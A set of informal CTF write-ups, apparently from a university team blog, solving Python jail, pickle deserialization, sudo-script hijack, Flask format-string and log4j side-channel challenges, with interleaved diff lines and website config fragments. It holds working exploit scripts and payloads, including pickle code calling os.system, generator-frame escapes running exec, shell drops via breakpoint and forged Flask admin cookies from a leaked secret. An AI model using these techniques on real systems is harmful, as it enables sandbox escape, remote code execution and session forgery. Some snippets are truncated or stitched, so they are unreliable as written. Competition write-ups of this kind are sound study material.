originally [@Ray](https://maplebacon.org/authors/Ray/) worked on it but he couldnt get pwntools working on his machine so he got me to run it
but it doesnt work anyways and requires "bruteforcing" which i was like we should be able solve it with one req only and thats when i started getting interested in this chall
and then we went on a huge detour trying to figure out why the length is always changing
got so fed up that we went back home mid solving even tho this is a beginner chall lmfao
eventually after clearing my mind by going home i did end up solving it after i used ord the right way lmfao unicode variable length moment
using a really long message we can guarantee we get enough chunks to do a rotation key test based on the flag prefix and some guess work
(`type(flag)(flag)` creates string copying the contents of flag and the # comments out the unbalanced parentheses)
my original payload was `())((flag)` though - `type(())((flag))` gives a tuple created from iterating flag which we can easily convert back to the flag
used this since its basically just brackets lmao
### type it 2
unbalanced parentheses is fixed now, so no more funny shennanigans
most symbols are disallowed too so escape sequences arent easy to create
worse is coz of this we have nothing more than the return type to go off of
but hey in these cases why dont we side channel it like googlectf's log4j2?
we cant use square brackets or basically most things outside of function calls so thats annoying
but from poking around we can create tuples of ints after encoding the flag that have the `.count()` method and we can use the `or None` trick to leak whether the character exists at all
but that means we'd have to play word unscramble lmao no thanks
(and it turns out the flag has multiple same characters pretty frequently too sooo not enough information)
tried to do character by character brute force by popping stuff, but tuples are immutable and creating dicts and lists are all banned
eventually i realized i can obtain list types from `type.mro(<anything>)`, which means we can create lists but appending it is still not really possible since theres no curried function that we can chain to add to a list and `,` is also banned
but `+` aint banned so we can actually create multiple tuples/lists and then chain them together
but now the question comes the constructors for list/tuples need to be iterables and we cant make iterables in the first place thats the headache here
hold on we can make generators though if we skip all the spaces using brackets as delimiters
and if we can make it return arbitrary values of our choice we can just use it
turns out `((121)for(i)in(flag.encode())if(i)is(123))` is the prime way once we know which chars will only appear once (the curly brackets)
now we can just use `startswith` after converting flag to bytes and building a bytes object using the list we created (has to be bytes coz we cant use chr or quotes at all)
and ey we can side channel the flag consistently now by checking whether it returned bool or NoneType
```py
from pwn import *
import string
p = remote("jail.chal.ctf.gdgalgiers.com", 1304)
#p = process(['python3.10', 'jail.py'])
chars = []
"""
(flag.encode().startswith(
type(flag.encode())( #bytes class
type(type.mro(type))( #list class
(type(())( #create tuple from generator
((67) for (i) in (flag.encode()) if (i) is (123))) #generator; 123 is {, which is likely guaranteed to only show up once; brackets help eliminate space use
)
+(type(())(
((121) for (i) in (flag.encode()) if (i) is (123))) #the value assigned is for generating the characters
)
)
)
)) or (None) #show visible hint on whether its true or false, since type only show class names so we need to change it on false
check = "+".join(["(type(())(((" + str(ord(c)) + ")for(i)in(flag.encode())if(i)is(123))))" for c in flag + i])
p.recvuntil("Input : ")
p.sendline(payloadprefix + check + payloadsuffix)
p.recvuntil("<class '")
resp = p.recvuntil(">")
if b'bool' in resp:
flag += i
print(flag)
```
`CyberErudites{ERRRROR_B4$E3_FTW!!!!}` what bases based on what :upside_down:
also i nearly popped a shell lol after realizing we can access globals with generator objects kekw
`((i.exec(i.input()))for(i)in(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals.values())if(not((type(i))is(type("test")))and(not((type(i))is(type(None)))and(not((type(i))is(type(type(None)))))and(not((type(i))is(type(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals))))))).send(None)` works flawlessly since it filters out everything except the `__builtins__` module
but alas it doesnt just filter internal functions but also everything with a underscore i forgot about that
### impossible challenge
sure its "impossible" if you run it coz rand basically never clashes thrice in a row
but the check is literally there lol and its an array with a simple xor key of `69` ~~haha nice~~
`CyberErudites{$eE_nOthING_I$_1mpo$$iBle}` shouldve left it for the new ppl in the team ngl
or at least try to do it the fun way with patching and dynamic debugging lmao
```py
v11 = [0]*40
v11[0] = 6;
v11[1] = 60;
v11[2] = 39;
v11[3] = 32;
v11[4] = 55;
v11[5] = 0;
v11[6] = 55;
v11[7] = 48;
v11[8] = 33;
v11[9] = 44;
v11[10] = 49;
v11[11] = 32;
v11[12] = 54;
v11[13] = 62;
v11[14] = 97;
v11[15] = 32;
v11[16] = 0;
v11[17] = 26;
v11[18] = 43;
v11[19] = 10;
v11[20] = 49;
v11[21] = 45;
v11[22] = 12;
v11[23] = 11;
v11[24] = 2;
v11[25] = 26;
v11[26] = 12;
v11[27] = 97;
v11[28] = 26;
v11[29] = 116;
v11[30] = 40;
v11[31] = 53;
v11[32] = 42;
v11[33] = 97;
v11[34] = 97;
v11[35] = 44;
v11[36] = 7;
v11[37] = 41;
v11[38] = 32;
v11[39] = 56;
print(bytes([69 ^ i for i in v11]))
```
### venomous
wondered for a bit what even is the privileged thing we gotta run coz theres no suid'd bins but then i saw `script.sh` is whitelisted in sudoers
i then originally tried editing `echo.py` but it doesnt seem to work, and i eventually realized `script.sh` overwrites it later on
`PYTHONINSPECT=1` also didnt work coz sudo clears env
and `sitecustomize.py` doesnt work coz `ctf-cracked` does not have a home dir and global `site-packages` aint modifiable
wanted to break the script so it sets our script to root rwx but that kinda doesnt matter coz we dont get elevated perms running root owned files anyway and the unicode bug got fixed
wouldve been cool if it was related tho https://bugs.python.org/issue35883
after a while of poking turns out its just trick python into loading echo as a directory named `echo` with `__init__.py` instead of `echo.py`
`CyberErudites{NothInG_L1K3_pOIs0n1nG_The_sn4Ke}`
### venomous 2
pretty sure the chall is broken coz i used the exact same payload as venomous 1 and got the flag lol
the `find -maxdepth 1 -delete` command doesnt seem to be working well for some reason
not complaining tho still a flag `CyberErudites{PTiv2BGsB13XBRZRKm5IrMyfXBkJcxBt}`
i wonder if the intended solution is related to zip files
### validator
originally other ppl worked on it and figured out you can do format string injection with SchemaError
and our goal is to leak the secret and encode our own session cookie into it to access the `/flag` endpoint
so it basically ended up being a pyjail and thats where i come into play
got insanely stuck though coz i couldnt think of a way to get globals without being able to call funcs like `__subclasses__()` or assign values like `sys.stdout.flush = breakpoint`
got some inspiration after poking at py explorer for a bit
so i thought back to why some `__init__` has `__globals__` and i remembered something edward brought up
if a class is custom made then its methods that is custom defined would have `__globals__` (what i understood is as long as its not a builtin method or a slot wrapper etc) then we have `__globals__`
with that i tried seeing if MyDict's `__setattr__`/`__getattr__` has `__globals__` and bruh sure enough there it is
we were literally there lmao i just distracted everyone by thinking of `__subclasses__()`
but now the problem comes - if we provide an invalid field name to the schema the data being formatted is a string for some reason
and if we give an invalid field type we get BOTH the MyDict object and the wrong field object and the wrong field object is always a python builtin data type which doesnt have `__globals__` so it errors out regardless
after poking around a bit again i realized an empty MyDict `{}` triggers `SchemaMissingKeyException` and that literally just gives MyDict only
eyyyyyy there we go `{0.__class__.__getattr__.__globals__[app].secret_key}` with `{}` and any field name + type yields us the secret key `3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy`
which we can just grab some flask cookie encode script online like https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe and set isAdmin to true then visit `/flag`
and we get the flag ey `CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}`
```py
import requests
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
# Override method
# Take secret_key instead of an instance of a Flask app
- literally no src and it just prints `empty garbage truck` for like most of the time
- other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao
- the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this`
- after trying to map out whats banned i realized i can `breakpoint()`
- which means i can literally escape to host now ey
- but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist
-- i also cant do `sh` for soem reason i can only run commands from `os.system()`
+- i also cant do `sh` for some reason i can only run commands from `os.system()`
- pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about
- but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop
- tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason
- also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now
- then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still
- and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]`
- `CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}`
### kevin higgs the revenge
my angstrom payload almost works if you remove the frame opcode
but setattr got banned lol so my persistence mechanism is no more sadge
and i cannot for the life of me think of how to persist otherwise with the restraints so i gave up for a bit
after the success of validator i set out to ~~right my wrongs~~ i mean to redeem myself by solving all 3 challs i was looking at at the maple bacon meeting
so its time to come back to this chall
i started out by clearing my mind off angstrom's mess of a solve script and tried to build the angstrom pickle from scratch using [@Robert](https://maplebacon.org/authors/Nneonneo/)'s helper funcs he sent while we were doing dice @ hope with MMM
and wow in the meantime i really learnt a ton on how the pickle stack machine actually works
so i tried to figure out whether theres opcodes like build that [@Robert](https://maplebacon.org/authors/Nneonneo/) mentioned back then too but no all of the opcodes that interact with python is banned aside from reduce and global/stackglobal
but then while poking around i remembered i actually have one more layer of depth i can go for the setattr thing
and i realized `empty.__dict__` exists
so we just need a method to accept a value and we are gold
update doesnt really work coz `DICT` opcode is banned but `setdefault` works well (turns out i used it in maplectf ubc/saplingctf too but i forgot lol)
so with that we can just recreate the angstrom pickle this time in much more structured form that i actually understand well lmao
adding the "bruteforcing index" script from dice @ hope to find `os.wrap_close`'s index we get the script
#generate pickle based on provided index for os.wrap_close
def pkl(index):
global attr
attr = ord('a') #reset attr to initial attribute
p = [PROTO, b'\x05',
#get empty.__dict__.setdefault for setdefault(key, value) persistence
#we dont use update() since that requires a dict and DICT opcode is banned
getglobal("empty.__dict__.setdefault"),
MEMOIZE,
#empty.__class__.__base__
ptuple(
#key
pstr('a'),
#value
getglobal("empty.__class__.__base__")
),
#run empty.__dict__.setdefault('a', <class object> obtained from STACK_GLOBAL)
REDUCE,
POP, #discard the returned object we dont need it
#.__subclasses__()
next('__subclasses__', args=[]),
#.__getitem__(117)
next('__getitem__', args=pint(index)),
#.__init__
next('__init__'),
#.__globals__
next('__globals__'),
#.__getitem__('system')
next('__getitem__', args=pstr('system')),
#('sh')
getglobal('empty.' + chr(attr)), #finally grab f (current attribute storing the object) and call it
ptuple(
pstr('cat flag.txt'), #seems like its running busybox again #nvm tty is dead cant use ash anyway b"ash: can't access tty; job control turned off\n"
),
REDUCE,
STOP]
return flatten(p).hex()
for i in [138]: #range(130, 140): #get around 134 and see if any looks like it got a shell
s = remote('jail.chal.ctf.gdgalgiers.com', 1300)
#s = process(['python3.10', 'challenge.py'])
s.recvuntil('Enter')
payload = pkl(i)
print(payload)
print(i)
s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc
resp = s.recvall(timeout=1)
if b'AttributeError' not in resp:
s.interactive()
else:
s.close()
```
and with this we can easily get the flag (after getting confused on why the shell aint popping which turns out to be them using busybox just like garbage truck but also disabling tty this time lol)
really happy now that i understand exactly how my solve for kevin higgs work lmaooo
when i solved kevin higgs it was more of a trial and error until oh wow it works thing lmao
~~kinda like how i do dynamic analysis for rev challs tbh except i am reving my own script lmfao~~
### PY explorer
this chall had by far the least solves so i thought i prob wasnt on the right track when i thought about `sys.stdout.flush = breakpoint` and then realizing i cant find a func thats run either on exit or automatically periodically outside of sys which is not an imported module
coz everything like `object.__del__` (cannot modify builtin methods) to ExitStack callbacks (doesnt call unless we set it on an object) to atexit (not imported) to even `weakrefs.finalize` which HAS atexit that works even though i need to put the func in the constructor with an object (eg `object.__subclasses__()[270](object, breakpoint)`) and it doesnt seem to pop up unless im in interactive and even then it only pops up randomly anyway (turns out i also cant do sth like `object.__subclasses__()[270]._registry.keys().__iter__().__next__()._exitfunc = breakpoint` either coz exitfunc is readonly)
not to mention we need to access builtins functions to get breakpoint too (but theres a lot of funcs with `__globals__` in `__init__` it turns out)
but after solving kevin higgs v2 it reminds me i can use `os.wrap_close` here still
so i got `object.__subclasses__([137].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` which is like 1/2 done (`__init__.__self__` is needed since PY explorer doesnt allow you to select from a dict twice in a row coz it has to be after choosing an attribute; i learnt that trick while investigating validator iirc)
then after looking up some more writeups on pyjails i realized ppl are finding `system()` in `__globals__` not `__builtins__`
which suddenly reminded me i swear i saw sys somewhere when i was getting the breakpoint func
turns out `os.wrap_close` has both `sys` and `__builtins__` lmao bruh i completely forgot
welp with selecting both object in the ui like this to do `object.__subclasses__()[134].__init__.__globals__['sys'].stdout.flush = object.__subclasses__([134].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` we can get pdb running right after we finish selecting the objects
even though we have to blindly type in coz stdout flush wont work anymore lol
i thought it was broken until i typed `interact` and `*interactive*` popped out probably from stderr
so i just `import os; os.system('sh')` to drop into a shell with working flush ey
with that we can just `cat flag` and get the flag `CyberErudites{PY_0bj3cT7SS_AR3_MIN3}`
i was on the right track all along lmaoo
with that we've became jail bacon :sunglasses: full clearing is just that easy only took me like 19 hours yep
building upon the log4j solution and some prelim investigation by other teammates, i set of reading a lot of documentation on lookups and pattern layout specifiers to see if anything is useful
since they practically just slapped a filter on logs and stuff, i wondered what exactly they were checking
and `/repeat` works like a charm on letting me test certain keywords that might hit the filter - it would say sensitive info whenever i hit a keyword
i figured out its "ERROR", "WARNING", "Exception" and "CTF", but even these few words basically disabled us from using the same method as the old solution which was to break formatter to print exceptions `text=/[${date:yyyyMMdd.${env:FLAG}HHmmSS}]` - even if we can hide CTF using some transformers like `%replace` and `${lower:}`, we wont be able to hide the "ERROR" or "Exception" keywords since those are directly from the pattern parser (`%xEx` and `%throwable` both doesnt do anything)
so i turned to trying to see if i can leak parts of the flag out but the only way i can tell is to hide details inside the stacktraces which are blocked
but then i remembered the influxql chall from wectf that me and angus solved where angus found a way to side channel it
and i see `%equals` being a thing in the specifiers
so the only thing i need to do is to trigger a warning or an error only when my guessed flag matches - `%equals{${env:FLAG}}{<guess>}{<something that triggers a warning only when run>}`
however theres not really a good canadidate that throws a parser error only when run - `%d` like in the old solution always fail even if `%equals` is not matched
but it fails twice if it matches, which is a good sign that there might be better specifiers out there - and indeed if i do `%C{<anything>}` i get a warning thats censored only if my guess equals - thus the payload is now `%equals{${env:FLAG}}{<guess>}{%C{a}}`
but i have to find a way to guess character by character to save time - this is where `%maxLen` comes into play so i can get the first x chars only, and the payload becomes `%equals{%maxLen{${env:FLAG}}{<len of guess>}}{<guess>}{%C{a}}`
with that we can write a script to leak the first 3 chars, and they are indeed `CTF` - but then i run into a problem of `{}` being special chars for lookups so i need to escape it somehow
`%equals` doesnt look like it has a way to escape, so i had to introduce `%replace` as mentioned [here](https://stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution)
with `/%equals{%replace{%maxLen{${env:FLAG}}{<len of guess>}}{[\{\}]}{=}}{<guess>}{%C{a}}`, we can finally leak the flag, which looks like lowercase letters - until it hangs at 21st character
turns out `%maxLen` appends `...` if it exceeds 20 chars, and just padding the dots into the flag doesnt seem to fix anything, so i had to also replace the dots to equal signs just like the curly brackets
and finally with `/%equals{%replace{%maxLen{${env:FLAG}}{<len of guess>}}{[\{\}.]}{=}}{<guess + padding as needed>}{%C{a}}`
we can get the script that generates the flag:
```py
import requests
import string
flag = 'CTF='
while True:
for c in string.ascii_lowercase + '-=':
#if c in '}{ ': #for string.printable since these instantly breaks parser
# continue
pad = '===' if len(flag)+1>20 else '' #thanks %maxLen for the weird behaviour
payload = r"/%equals{%replace{%maxLen{${env:FLAG}}{" + str(len(flag)+1) + r"}}{[\{\}.]}{=}}{" + flag + c + pad + r"}{%C{a}}"
print(payload)
r = requests.post('https://log4j2-web.2022.ctfcompetition.com/', data={"text":payload})
print(r.content)
if b'Sensitive' in r.content:
flag += c
print('current', flag)
break
if flag.endswith('===='):
break
```
+and here's the breakdown of the payload:
+
+```
+%equals{
+ %replace{
+ %maxLen{
+ ${env:FLAG} #retrieve original flag
+ }{
+ 4 #flag length to check - must match the check length since theres no startWith in log4j so we have to truncate
+ }
+ }{
+ [\{\}.] #find all { }s in flag, along with the elipsis
+ }{
+ = #replace with placeholder - see flag to check for more info
+ }
+}{
+ CTF= #flag to check - note that = is in place of { since curly brackets escaping is not a thing in %equals it looks like
+}{
+ %C{a} #this triggers a warning only if it hits, aka it wont show WARNING if equals never matched - i originally used %d, but the format evaluates regardless whether it hit or not (hitting will show 2 warnings instead of 1 which doesnt help)
+}
+```
+
`CTF{and-you-thought-it-was-over-didnt-you}`
for some reason the ending bracket never got hit though, so the endswith clause never ran
-`flag.yarc` is basically a compiled yara rule, which https://bnbdr.github.io/posts/swisscheese/ actually details the format pretty well as apart of a vuln writeup - but too bad this version is very outdated and a lot of the things changed already
+`flag.yarc` is basically a compiled yara rule, which https://bnbdr.github.io/posts/swisscheese/ actually details the format pretty well as a part of a vuln writeup - but too bad this version is very outdated and a lot of the things changed already
so into yara's repo we go https://github.com/VirusTotal/yara/blob/666d5a4fd61df57d261d387676f7bd98544337a3/libyara/arena.c
now since we dont have this current format laid out by ppl for us to understand we would have to basically map the parser type definitions to something that we can visualize
and whats better than writing an hex pattern template
turns out imhex is actually insanely flexible LOL i finally have a reason to drop 010 editor now
while [@Arctic](https://maplebacon.org/authors/rctcwyvrn/) was busy updating the opcodes from https://github.com/bnbdr/swisscheese/blob/master/assembler.py i was doing what i do the best again: pattern identification
none of the arenas seem to have anything special, aside from one that looks suspiciously orderly as if its a flag checker, which with some formatting we can lay it out like this:
```text
00 F0 3C
5F 3C
39 07 64 2F 0F 00 00 00 3C
01 F0 3C
33 3C
5F 07 64 01 2F 0F 00 00 00 3C
02 F0 3C
F8 3C
99 07 64 01 2F 0F 00 00 00 3C
03 F0 3C
53 3C
34 07 64 01 2F 0F 00 00 00 3C
04 F0 3C
F8 3C
83 07 64 01 2F 0F 00 00 00 3C
05 F0 3C
9A 3C
F7 07 64 01 2F 0F 00 00 00 3C
06 F0 3C
DD 3C
EE 07 64 01 2F 0F 00 00 00 3C
07 F0 3C
5C 3C
6F 07 64 01 2F 0F 00 00 00 3C
08 F0 3C
F9 3C
8D 07 64 01 2F 0F 00 00 00 3C
09 F0 3C
F9 3C
A6 07 64 01 2F 0F 00 00 00 3C
0A F0 3C
C8 3C
A5 07 64 01 2F 0F 00 00 00 3C
0B F0 3C
80 3C
E5 07 64 01 2F 0F 00 00 00 3C
0C F0 3C
86 3C
D9 07 64 01 2F 0F 00 00 00 3C
0D F0 3C
0D 3C
3C 07 64 01 2F 0F 00 00 00 3C
0E F0 3C
65 3C
0B 07 64 01 2F 0F 00 00 00 3C
0F F0 3C
77 3C
28 07 64 01 2F 0F 00 00 00 3C
10 F0 3C
8F 3C
B8 07 64 01 2F 0F 00 00 00 3C
11 F0 3C
80 3C
E8 07 64 01 2F 0F 00 00 00 3C
12 F0 3C
AA 3C
99 07 64 01 2F 0F 00 00 00 3C
13 F0 3C
28 3C
77 07 64 01 2F 0F 00 00 00 3C
14 F0 3C
69 3C
08 07 64 01 2F 0F 00 00 00 3C
15 F0 3C
56 3C
24 07 64 01 2F 0F 00 00 00 3C
16 F0 3C
A1 3C
92 07 64 01 2F 0F 00 00 00 3C
17 F0 3C
2A 3C
44 07 64 01 2F 0F 00 00 00 3C
18 F0 3C
EC 3C
D8 07 64 01 2F 0F 00 00 00 3C
19 F0 3C
EA 3C
97 07 64 01 1D 00 00 00 00 00 00 00 00 FF
```
and we can see that basically aside from the first byte which is likely a counter, and the 2 bytes in the 2 rows after that byte would change, all other ones are basically static
so i started reading the current opcode map to see what operation might be acting on those 2 specific bytes
and aha `#define OP_BITWISE_XOR 7` so i tried it out
- content: '<a class="nav-link d-inline p-0" href="https://ctftime.org/team/73723">MMM</a> is publicly announced as <div style="color: #dd7" class="d-inline font-weight-bold p-0">Maple Mallard Magistrates</div>'
+ content: '<a class="nav-link d-inline p-0" href="https://ctftime.org/team/193591">MMM</a> is publicly announced as <div style="color: #dd7" class="d-inline font-weight-bold p-0">Maple Mallard Magistrates</div>'
date: 2022-08-07
lumina-hiatus:
style: "timeline-hiatus"
content: 'Focusing on <a class="nav-link d-inline p-0" href="https://github.com/search?q=org%3Aubcctf+lumina">IDA Lumina ports</a>, small hiatus on CTFs'